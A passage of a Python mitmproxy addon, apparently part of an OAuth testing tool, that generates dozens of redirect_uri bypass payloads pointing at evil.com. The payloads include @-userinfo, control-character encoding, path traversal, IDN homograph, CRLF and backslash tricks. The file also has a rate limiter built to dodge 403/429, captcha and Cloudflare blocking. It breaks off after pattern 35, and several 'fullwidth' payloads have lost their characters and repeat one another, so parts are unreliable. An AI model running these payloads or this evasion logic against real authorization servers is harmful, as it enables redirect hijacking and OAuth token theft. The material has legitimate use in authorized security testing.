oauth-backend/addon/redirect_uri_check.py
gyuu04 1c6fc53a81 redirect_uri 우회 패턴 추가
- 57개 우회 패턴 구체화
- 적응형 레이트 리미팅 추가 (차단 방지)
2025-06-25 14:14:19 +09:00

1397 lines
No EOL
61 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

from mitmproxy import http
import aiohttp
import asyncio
import random
import time
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
import lib.target as target
from lib.report import save_report
class RedirectRateLimiter:
"""redirect_uri_check 전용 rate limiter"""
def __init__(self):
self.last_request = 0
self.request_count = 0
self.failure_count = 0
self.consecutive_failures = 0
self.blocked_until = 0
self.pattern_index = 0 # 현재 테스트 중인 패턴 번호
# 설정값 (전체 패턴 기준으로 최적화)
self.base_delay = 1.0 # 기본 1초 지연 (38개니까 빠르게)
self.failure_backoff = 0.5 # 실패시 0.5초씩 증가
self.max_delay = 5.0 # 최대 5초 지연
self.block_duration = 300 # 5분 차단
self.success_speedup = 0.8 # 성공시 속도 증가
async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool:
"""패턴별 레이트 리미팅"""
current_time = time.time()
# 차단 중인지 확인
if current_time < self.blocked_until:
remaining = int(self.blocked_until - current_time)
print(f"[RATE_LIMIT] ⛔ 차단 중 - {remaining}초 남음, {pattern_name} 스킵")
return False
# 적응형 지연 시간 계산
delay = self._calculate_delay()
# 마지막 요청으로부터의 시간 확인
time_since_last = current_time - self.last_request
if time_since_last < delay:
wait_time = delay - time_since_last
print(f"[RATE_LIMIT] ⏳ {wait_time:.1f}초 대기 (패턴: {pattern_name})")
await asyncio.sleep(wait_time)
self.last_request = time.time()
self.request_count += 1
self.pattern_index += 1
# 진행률 표시 (10개마다)
if self.pattern_index % 10 == 0:
print(f"[PROGRESS] 📊 {self.pattern_index}/38 패턴 완료")
return True
def _calculate_delay(self) -> float:
"""적응형 지연 시간 계산"""
delay = self.base_delay
# 연속 실패에 따른 백오프
if self.consecutive_failures > 0:
backoff = min(self.consecutive_failures * self.failure_backoff, 3.0)
delay += backoff
# 전체 실패율에 따른 조정
if self.request_count > 5:
failure_rate = self.failure_count / self.request_count
if failure_rate > 0.3: # 실패율 30% 초과시
delay *= (1 + failure_rate)
# 최대값 제한
delay = min(delay, self.max_delay)
# 랜덤 지터 (±20%)
jitter = random.uniform(0.8, 1.2)
return delay * jitter
def record_success(self):
"""성공 기록"""
self.consecutive_failures = 0
# 성공시 약간 속도 증가 (학습 효과)
if self.base_delay > 0.5:
self.base_delay *= self.success_speedup
def record_failure(self, error_msg: str = ""):
"""실패 기록 및 차단 감지"""
self.failure_count += 1
self.consecutive_failures += 1
# 즉시 차단이 필요한 패턴들
immediate_block_patterns = [
'403', '429', '503',
'forbidden', 'rate limit', 'rate-limit',
'too many requests', 'blocked', 'banned',
'captcha', 'recaptcha', 'cloudflare',
'security check', 'access denied'
]
error_lower = str(error_msg).lower()
should_block = any(pattern in error_lower for pattern in immediate_block_patterns)
if should_block:
self.blocked_until = time.time() + self.block_duration
print(f"[RATE_LIMIT] 🚫 차단 패턴 감지 - 5분 대기: {error_msg}")
return
# 연속 실패 임계값 도달시 차단
if self.consecutive_failures >= 8: # 38개 패턴이니까 8개 실패까지 허용
self.blocked_until = time.time() + self.block_duration
print(f"[RATE_LIMIT] 🚫 연속 실패 {self.consecutive_failures}회 - 5분 대기")
def reset_for_new_target(self):
"""새로운 타겟 시작시 일부 통계 리셋"""
self.pattern_index = 0
self.consecutive_failures = 0
# base_delay와 전체 통계는 유지 (학습된 내용)
# 글로벌 레이트 리미터
redirect_limiter = RedirectRateLimiter()
class BypassPayload:
""" 우회 패턴 정의 """
def __init__(self, name: str, mutate_func, description: str):
self.name = name
self.mutate = mutate_func #우회 url 만드는 함수
self.description = description
class RedirectBypassChecker:
def __init__(self):
""" 우회 페이로드 목록 """
self.bypass_payloads = [
BypassPayload(
name=r"@",
mutate_func=self._mutate_pattern1,
description=r"Host bypass attack using @ symbol: evil.com@target.com"
),
BypassPayload(
name=r"%ff@",
mutate_func=self._mutate_pattern2,
description=r"Hostname parsing bypass using Unicode %ff byte: evil%ff@target.com"
),
BypassPayload(
name=r"%ff_subdomain",
mutate_func=self._mutate_pattern3,
description=r"Unicode %ff byte injection in subdomain: evil%ff.target.com"
),
BypassPayload(
name=r"fullwidth_slash_direct",
mutate_func=self._mutate_pattern4_1,
description=r"Direct fullwidth slash bypass: target.com@evil.com"
),
BypassPayload(
name=r"fullwidth_slash_encoded",
mutate_func=self._mutate_pattern4_2,
description=r"Encoded fullwidth slash bypass: target.com%EF%BC%8F@evil.com"
),
BypassPayload(
name=r"fullwidth_backslash_direct",
mutate_func=self._mutate_pattern4_3,
description=r"Direct fullwidth backslash bypass: target.com@evil.com"
),
BypassPayload(
name=r"fullwidth_backslash_encoded",
mutate_func=self._mutate_pattern4_4,
description=r"Encoded fullwidth backslash bypass: target.com%EF%BC%BC@evil.com"
),
BypassPayload(
name=r"mixed_backslash_types",
mutate_func=self._mutate_pattern5,
description=r"Mixed backslash types: target.com\\evil.com"
),
BypassPayload(
name=r"mixed_backslash_fullwidth_slash",
mutate_func=self._mutate_pattern6,
description=r"Mixed backslash and fullwidth slash: target.com\\evil.com"
),
BypassPayload(
name=r"path_traversal_basic",
mutate_func=self._mutate_pattern7_1,
description=r"Basic path traversal: target.com/path/../../../evil.com"
),
BypassPayload(
name=r"path_traversal_deep",
mutate_func=self._mutate_pattern7_2,
description=r"Deep path traversal: target.com/path/../../../../../../../../evil.com"
),
BypassPayload(
name=r"path_traversal_absolute",
mutate_func=self._mutate_pattern7_3,
description=r"Absolute path traversal: target.com/../evil.com"
),
BypassPayload(
name=r"path_traversal_mixed",
mutate_func=self._mutate_pattern7_4,
description=r"Mixed slash traversal: target.com/path/.././.././evil.com"
),
BypassPayload(
name=r"path_traversal_semicolon",
mutate_func=self._mutate_pattern7_5,
description=r"Semicolon path traversal: target.com/path/..;/..;/evil.com"
),
BypassPayload(
name=r"path_traversal_encoded",
mutate_func=self._mutate_pattern7_6,
description=r"URL encoded traversal: target.com/path/%2e%2e/%2e%2e/evil.com"
),
BypassPayload(
name=r"path_traversal_double_encoded",
mutate_func=self._mutate_pattern7_7,
description=r"Double encoded traversal: target.com/path/%252e%252e%252f/evil.com"
),
BypassPayload(
name=r"path_traversal_hex",
mutate_func=self._mutate_pattern7_8,
description=r"Hex encoded traversal: target.com/path/%2e%2e%2f%2e%2e%2f/evil.com"
),
BypassPayload(
name=r"path_traversal_unicode",
mutate_func=self._mutate_pattern7_9,
description=r"Unicode dot traversal: target.com/path///evil.com"
),
BypassPayload(
name=r"path_traversal_backslash",
mutate_func=self._mutate_pattern7_10,
description=r"Backslash traversal: target.com/path\\..\\..\\evil.com"
),
BypassPayload(
name=r"path_traversal_overlong",
mutate_func=self._mutate_pattern7_11,
description=r"Overlong UTF-8 traversal: target.com/path/%c0%ae%c0%ae/evil.com"
),
BypassPayload(
name=r"path_traversal_null",
mutate_func=self._mutate_pattern7_12,
description=r"Null byte traversal: target.com/path/../%00../evil.com"
),
BypassPayload(
name=r"wildcard_subdomain_bypass",
mutate_func=self._mutate_pattern8,
description=r"Wildcard subdomain bypass: attacker.target.com"
),
BypassPayload(
name=r"backslash_bypass",
mutate_func=self._mutate_pattern9,
description=r"Backslash URL parsing bypass: target.com\\evil.com"
),
BypassPayload(
name=r"double_slash",
mutate_func=self._mutate_pattern10,
description=r"Double slash bypass: target.com//evil.com"
),
BypassPayload(
name=r"question_mark",
mutate_func=self._mutate_pattern11,
description=r"Question mark bypass: target.com?evil.com"
),
BypassPayload(
name=r"idn_homograph",
mutate_func=self._mutate_pattern12,
description=r"IDN homograph attack using visually similar characters: gооgle.com (Cyrillic)"
),
BypassPayload(
name=r"ipv6_bypass",
mutate_func=self._mutate_pattern13,
description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]"
),
BypassPayload(
name=r"mixed_case_idn_combo",
mutate_func=self._mutate_pattern14,
description=r"Mixed case + IDN combo: ЕVIL.example@TARGET.COM"
),
BypassPayload(
name=r"fragment_bypass",
mutate_func=self._mutate_pattern15,
description=r"Fragment identifier bypass: target.com#@evil.com"
),
BypassPayload(
name=r"combined_bypass",
mutate_func=self._mutate_pattern16,
description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com"
),
BypassPayload(
name=r"path_backslash_domain",
mutate_func=self._mutate_pattern17,
description=r"Path backslash domain bypass: target.com\\.evil.com"
),
BypassPayload(
name=r"mixed_encoding_chaos_basic",
mutate_func=self._mutate_pattern18_1,
description=r"Basic mixed encoding: evil.com%09%0A%20@target.com"
),
BypassPayload(
name=r"mixed_encoding_chaos_full",
mutate_func=self._mutate_pattern18_2,
description=r"Full control char chaos: evil.com%0A%0D%09%0B%0C%20@target.com"
),
BypassPayload(
name=r"mixed_encoding_chaos_special",
mutate_func=self._mutate_pattern18_3,
description=r"Control + special chars: evil.com%09%0A%20%00%FF@target.com"
),
BypassPayload(
name=r"mixed_encoding_chaos_double",
mutate_func=self._mutate_pattern18_4,
description=r"Double encoded chaos: evil.com%2509%250A%2520@target.com"
),
BypassPayload(
name=r"mixed_encoding_chaos_reverse",
mutate_func=self._mutate_pattern18_5,
description=r"Reverse control chars: evil.com%20%0A%09@target.com"
),
BypassPayload(
name=r"mixed_encoding_chaos_repeat",
mutate_func=self._mutate_pattern18_6,
description=r"Repeated control chars: evil.com%09%09%09@target.com"
),
BypassPayload(
name=r"subdomain_confusion_hyphen",
mutate_func=self._mutate_pattern19,
description=r"Subdomain confusion with hyphen: target-com.evil.com"
),
BypassPayload(
name=r"semicolon_userinfo_bypass",
mutate_func=self._mutate_pattern20,
description=r"Semicolon userinfo bypass: target.com;evil.com"
),
BypassPayload(
name=r"tab_character_bypass",
mutate_func=self._mutate_pattern21,
description=r"Tab character bypass using %09: evil.com%09@target.com"
),
BypassPayload(
name=r"space_character_bypass",
mutate_func=self._mutate_pattern22,
description=r"Space character bypass using %20: evil.com%20@target.com"
),
BypassPayload(
name=r"form_feed_bypass",
mutate_func=self._mutate_pattern23,
description=r"Form feed character bypass using %0c: evil.com%0c@target.com"
),
BypassPayload(
name=r"vertical_tab_bypass",
mutate_func=self._mutate_pattern24,
description=r"Vertical tab bypass using %0b: evil.com%0b@target.com"
),
BypassPayload(
name=r"%0a@",
mutate_func=self._mutate_pattern25,
description=r"Newline character bypass using %0a@: evil.com%0a@target.com"
),
BypassPayload(
name=r"%0d@",
mutate_func=self._mutate_pattern26,
description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)"
),
BypassPayload(
name=r"crlf_injection",
mutate_func=self._mutate_pattern27,
description=r"CRLF injection bypass: evil.com%0D%0A@target.com"
),
BypassPayload(
name=r"mixed_case_scheme",
mutate_func=self._mutate_pattern28,
description=r"Mixed case scheme bypass: HtTpS://evil.com@target.com"
),
BypassPayload(
name=r"scheme_dot_injection",
mutate_func=self._mutate_pattern29,
description=r"Scheme dot injection: https.://evil.com@target.com"
),
BypassPayload(
name=r"port_encoded_bypass",
mutate_func=self._mutate_pattern30,
description=r"Port encoded bypass: target.com:%40evil.com (%40 = @)"
),
BypassPayload(
name=r"ampersand_encoded_bypass",
mutate_func=self._mutate_pattern31,
description=r"Ampersand encoded bypass: target.com &%40evil.com"
),
BypassPayload(
name=r"underscore_encoded_bypass",
mutate_func=self._mutate_pattern32,
description=r"Underscore encoded bypass: target.com.%5F.evil.com (%5F = _)"
),
BypassPayload(
name=r"comma_separator_bypass",
mutate_func=self._mutate_pattern33,
description=r"Comma separator bypass: target.com.%2C.evil.com (%2C = ,)"
),
BypassPayload(
name=r"schemeless_bypass",
mutate_func=self._mutate_pattern34,
description=r"Schemeless bypass: //evil.com"
),
BypassPayload(
name=r"schema_colon_bypass",
mutate_func=self._mutate_pattern35,
description=r"Schema colon bypass: http:evil.com"
),
BypassPayload(
name=r"null_byte_prefix",
mutate_func=self._mutate_pattern36,
description=r"Null byte prefix: %00http://evil.com"
),
BypassPayload(
name=r"unicode_spaces_bypass",
mutate_func=self._mutate_pattern37,
description=r"Unicode spaces bypass: evil.com%E2%80%8Btarget.com (zero-width space)"
),
BypassPayload(
name=r"bracket_encoded_bypass",
mutate_func=self._mutate_pattern38,
description=r"Bracket encoded bypass: target.com%5B%40evil.com (%5B = [)"
),
]
self.session = None
""" 우회 URL 생성 목록 """
# 1. @
def _mutate_pattern1(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] original: {original} → mutated: {mutated}")
return mutated
# 2. %ff@ - 유니코드 바이트 우회
def _mutate_pattern2(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil%ff@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] %ff@ pattern: {original}{mutated}")
return mutated
# 3. %ff 서브도메인 - 유니코드 바이트 서브도메인 삽입
def _mutate_pattern3(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil%ff.{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] %ff subdomain pattern: {original}{mutated}")
return mutated
# 4. 전각 문자 패턴 - , %EF%BC%8F, , %EF%BC%BC
# 4_1. 직접 전각 슬래시
def _mutate_pattern4_1(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}@evil.com{path_part}"
print(f"[redirect_uri_check] direct fullwidth slash: {original}{mutated}")
return mutated
# 4_2. URL 인코딩된 전각 슬래시
def _mutate_pattern4_2(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# %EF%BC%8F = 전각 슬래시 ()
mutated = f"https://{parsed.netloc}%EF%BC%8F@evil.com{path_part}"
print(f"[redirect_uri_check] encoded fullwidth slash: {original}{mutated}")
return mutated
# 4_3. 직접 전각 백슬래시
def _mutate_pattern4_3(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}@evil.com{path_part}"
print(f"[redirect_uri_check] direct fullwidth backslash: {original}{mutated}")
return mutated
# 4_4. URL 인코딩된 전각 백슬래시
def _mutate_pattern4_4(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# %EF%BC%BC = 전각 백슬래시 ()
mutated = f"https://{parsed.netloc}%EF%BC%BC@evil.com{path_part}"
print(f"[redirect_uri_check] encoded fullwidth backslash: {original}{mutated}")
return mutated
# 5. 백슬래시 + 전각 백슬래시 조합
def _mutate_pattern5(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}\\evil.com{path_part}"
print(f"[redirect_uri_check] mixed backslash types: {original}{mutated}")
return mutated
# 6. 백슬래시 + 전각 슬래시 조합
def _mutate_pattern6(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}\\evil.com{path_part}"
print(f"[redirect_uri_check] mixed backslash-fullwidth slash: {original}{mutated}")
return mutated
# 7. 경로 순회 - Path traversal bypass
# 7-1. 기본 경로 순회
def _mutate_pattern7_1(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
mutated = f"https://{parsed.netloc}{base_path}/../../../evil.com"
print(f"[redirect_uri_check] basic path traversal: {original}{mutated}")
return mutated
# 7-2. 더 많은 경로 순회
def _mutate_pattern7_2(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
mutated = f"https://{parsed.netloc}{base_path}/../../../../../../../../evil.com"
print(f"[redirect_uri_check] deep path traversal: {original}{mutated}")
return mutated
# 7-3. 절대 경로로 우회
def _mutate_pattern7_3(self, original: str) -> str:
parsed = urlparse(original)
mutated = f"https://{parsed.netloc}/../evil.com"
print(f"[redirect_uri_check] absolute path traversal: {original}{mutated}")
return mutated
# 7-4. 혼합 슬래시 패턴
def _mutate_pattern7_4(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
mutated = f"https://{parsed.netloc}{base_path}/.././.././evil.com"
print(f"[redirect_uri_check] mixed slash traversal: {original}{mutated}")
return mutated
# 7-5. 점 뒤에 추가 문자
def _mutate_pattern7_5(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
mutated = f"https://{parsed.netloc}{base_path}/..;/..;/evil.com"
print(f"[redirect_uri_check] semicolon path traversal: {original}{mutated}")
return mutated
# 7-6. URL 인코딩된 경로 순회
def _mutate_pattern7_6(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
# %2e = ., %2f = /
mutated = f"https://{parsed.netloc}{base_path}/%2e%2e/%2e%2e/%2e%2e/evil.com"
print(f"[redirect_uri_check] URL encoded traversal: {original}{mutated}")
return mutated
# 7-7. 이중 URL 인코딩
def _mutate_pattern7_7(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
# %252e = 이중 인코딩된 .
mutated = f"https://{parsed.netloc}{base_path}/%252e%252e%252f%252e%252e%252fevil.com"
print(f"[redirect_uri_check] double encoded traversal: {original}{mutated}")
return mutated
# 7-8. 16진수 인코딩
def _mutate_pattern7_8(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
# 0x2e2e2f = ../
mutated = f"https://{parsed.netloc}{base_path}/%2e%2e%2f%2e%2e%2f%2e%2e%2fevil.com"
print(f"[redirect_uri_check] hex encoded traversal: {original}{mutated}")
return mutated
# 7-9. 유니코드 정규화 우회
def _mutate_pattern7_9(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
# 유니코드 점 문자들 (U+002E, U+FF0E 등)
mutated = f"https://{parsed.netloc}{base_path}///evil.com"
print(f"[redirect_uri_check] unicode dot traversal: {original}{mutated}")
return mutated
# 7-10. 백슬래시 + 경로 순회 조합
def _mutate_pattern7_10(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
mutated = f"https://{parsed.netloc}{base_path}\\..\\..\\evil.com"
print(f"[redirect_uri_check] backslash traversal: {original}{mutated}")
return mutated
# 7-11. 오버롱 UTF-8 인코딩
def _mutate_pattern7_11(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
# %c0%ae = 오버롱 UTF-8로 인코딩된 점
mutated = f"https://{parsed.netloc}{base_path}/%c0%ae%c0%ae/%c0%ae%c0%ae/evil.com"
print(f"[redirect_uri_check] overlong UTF-8 traversal: {original}{mutated}")
return mutated
# 7-12. 널 바이트 삽입
def _mutate_pattern7_12(self, original: str) -> str:
parsed = urlparse(original)
base_path = parsed.path if parsed.path else "/callback"
# %00 = 널 바이트
mutated = f"https://{parsed.netloc}{base_path}/../%00../../../evil.com"
print(f"[redirect_uri_check] null byte traversal: {original}{mutated}")
return mutated
# 8. 와일드카드 서브도메인 우회
def _mutate_pattern8(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# 공격자가 제어하는 서브도메인으로 *.target.com 정책 우회
mutated = f"https://attacker.{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] wildcard subdomain bypass: {original}{mutated}")
return mutated
# 9. 백슬래시 우회 - Dart SDK Issue #50075
def _mutate_pattern9(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}\\evil.com{path_part}"
print(f"[redirect_uri_check] backslash pattern: {original}{mutated}")
return mutated
# 10. 이중 슬래시
def _mutate_pattern10(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}//evil.com{path_part}"
print(f"[redirect_uri_check] double slash pattern: {original}{mutated}")
return mutated
# 11. 물음표 우회
def _mutate_pattern11(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}?evil.com{path_part}"
print(f"[redirect_uri_check] question mark pattern: {original}{mutated}")
return mutated
# 12. IDN 동형문자 공격 - 시각적으로 동일하지만 다른 도메인
def _mutate_pattern12(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# RFC 2606 테스트 도메인 + IDN 문자 о(키릴 문자 U+043E) vs o(라틴 문자 U+006F) 사용
mutated = f"https://еvil.example@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] IDN homograph pattern: {original}{mutated}")
return mutated
# 13. IPv6 주소 우회 - 안전한 버전
def _mutate_pattern13(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# 안전한 IPv6 @ 우회 패턴
if "localhost" in parsed.netloc:
mutated = f"https://evil.example@[::1]:3000{path_part}"
else:
# RFC 3849 문서용 IPv6 주소 사용 (라우팅 안 됨)
mutated = f"https://evil.example@[2001:db8::1]{path_part}"
print(f"[redirect_uri_check] IPv6 bypass pattern: {original}{mutated}")
return mutated
# 14. 대소문자 + IDN 문자 조합으로 필터 우회
def _mutate_pattern14(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://ЕVIL.example@{parsed.netloc.upper()}{path_part}" # Е는 키릴 문자
print(f"[redirect_uri_check] mixed case IDN bypass: {original}{mutated}")
return mutated
# 15. Fragment identifier 우회
def _mutate_pattern15(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# Fragment(#)로 실제 목적지 숨기기 - 브라우저는 fragment 부분을 서버에 전송하지 않음
mutated = f"https://{parsed.netloc}{path_part}#@evil.com"
print(f"[redirect_uri_check] fragment bypass pattern: {original}{mutated}")
return mutated
# 16. 복합 우회 패턴 - 여러 기법 동시 적용
def _mutate_pattern16(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# @ 우회 + 이중 슬래시 + 경로 순회 조합
mutated = f"https://evil.com@{parsed.netloc}//../../evil.com{path_part}"
print(f"[redirect_uri_check] combined bypass pattern: {original}{mutated}")
return mutated
# 17. 경로에 백슬래시 + 도메인 우회 (Chrome, Firefox, Edge)
def _mutate_pattern17(self, original: str) -> str:
parsed = urlparse(original)
# target.com\\.evil.com 패턴 - 기존 백슬래시 패턴과는 다른 위치
mutated = f"https://{parsed.netloc}\\.evil.com"
print(f"[redirect_uri_check] path backslash domain: {original}{mutated}")
return mutated
# 18_1. 혼합 인코딩 우회 (여러 인코딩 방식 조합)
def _mutate_pattern18_1(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# 탭 + 줄바꿈 + 공백
mutated = f"https://evil.com%09%0A%20@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] mixed encoding chaos: {original}{mutated}")
return mutated
# 18_2. 모든 제어 문자 조합
def _mutate_pattern18_2(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# 줄바꿈 + 캐리지리턴 + 탭 + 수직탭 + 폼피드 + 공백
mutated = f"https://evil.com%0A%0D%09%0B%0C%20@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] full control char chaos: {original}{mutated}")
return mutated
# 18_3. 제어 문자 + 특수 문자
def _mutate_pattern18_3(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%09%0A%20%00%FF@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] control + special char chaos: {original}{mutated}")
return mutated
# 18_4. 이중 인코딩 + 제어 문자
def _mutate_pattern18_4(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%2509%250A%2520@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] double encoded control chaos: {original}{mutated}")
return mutated
# 18_5. 역순 제어 문자
def _mutate_pattern18_5(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%20%0A%09@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] reverse control char chaos: {original}{mutated}")
return mutated
# 18_6. 반복 제어 문자
def _mutate_pattern18_6(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%09%09%09@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] repeated control char chaos: {original}{mutated}")
return mutated
# 19. 서브도메인 혼동 우회 (하이픈 버전)
def _mutate_pattern19(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# target.com → target-com.evil.com
host_with_hyphen = parsed.netloc.replace('.', '-').replace(':', '-')
mutated = f"https://{host_with_hyphen}.evil.com{path_part}"
print(f"[redirect_uri_check] subdomain confusion bypass: {original}{mutated}")
return mutated
# 20. 세미콜론 userinfo 우회
def _mutate_pattern20(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc};evil.com{path_part}"
print(f"[redirect_uri_check] semicolon userinfo bypass: {original}{mutated}")
return mutated
# 21. %09 - 탭 문자 우회
def _mutate_pattern21(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%09@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] tab character bypass: {original}{mutated}")
return mutated
# 22. %20 - 공백 문자 우회
def _mutate_pattern22(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%20@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] space character bypass: {original}{mutated}")
return mutated
# 23. %0c - 폼 피드 문자 우회
def _mutate_pattern23(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%0c@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] form feed bypass: {original}{mutated}")
return mutated
# 24. %0b - 수직 탭 문자 우회
def _mutate_pattern24(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%0b@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] vertical tab bypass: {original}{mutated}")
return mutated
# 25. %0a@ - 줄바꿈 문자 우회
def _mutate_pattern25(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] newline pattern: {original}{mutated}")
return mutated
# 26. %0d@ - 캐리지 리턴 우회 (URL parser confusion)
def _mutate_pattern26(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] carriage return pattern: {original}{mutated}")
return mutated
# 27. CRLF 인젝션 우회
def _mutate_pattern27(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
# %0D%0A = CRLF (Carriage Return + Line Feed) - HTTP 헤더 인젝션
mutated = f"https://evil.com%0D%0A@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] CRLF injection bypass: {original}{mutated}")
return mutated
# 28. HTTP/HTTPS 대소문자 혼합 스키마 우회
def _mutate_pattern28(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"HtTpS://evil.com@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] mixed case scheme bypass: {original}{mutated}")
return mutated
# 29. 점(.) 문자 우회 - 스키마와 호스트 사이에 점 삽입 (표준 위반 = 취약점)
def _mutate_pattern29(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https.://evil.com@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] scheme dot injection: {original}{mutated}")
return mutated
# 30. 포트 인코딩 우회 - %40 = @
def _mutate_pattern30(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}:%40evil.com{path_part}"
print(f"[redirect_uri_check] port encoded: {original}{mutated}")
return mutated
# 31. 앰퍼샌드 인코딩 우회 - URL 파싱 혼동
def _mutate_pattern31(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc} &%40evil.com{path_part}"
print(f"[redirect_uri_check] ampersand encoded: {original}{mutated}")
return mutated
# 32. 언더스코어 인코딩 우회 - 도메인 분리자로 오인
def _mutate_pattern32(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}.%5F.evil.com{path_part}"
print(f"[redirect_uri_check] underscore encoded: {original}{mutated}")
return mutated
# 33. 콤마 분리자 우회 - 일부 파서에서 분리자로 인식
def _mutate_pattern33(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}.%2C.evil.com{path_part}"
print(f"[redirect_uri_check] comma separator: {original}{mutated}")
return mutated
# 34. 스키마 없는 우회
def _mutate_pattern34(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"//evil.com{path_part}"
print(f"[redirect_uri_check] schemeless: {original}{mutated}")
return mutated
# 35. 스키마 콜론 우회 - RFC 위반 파싱
def _mutate_pattern35(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"http:evil.com{path_part}"
print(f"[redirect_uri_check] schema colon: {original}{mutated}")
return mutated
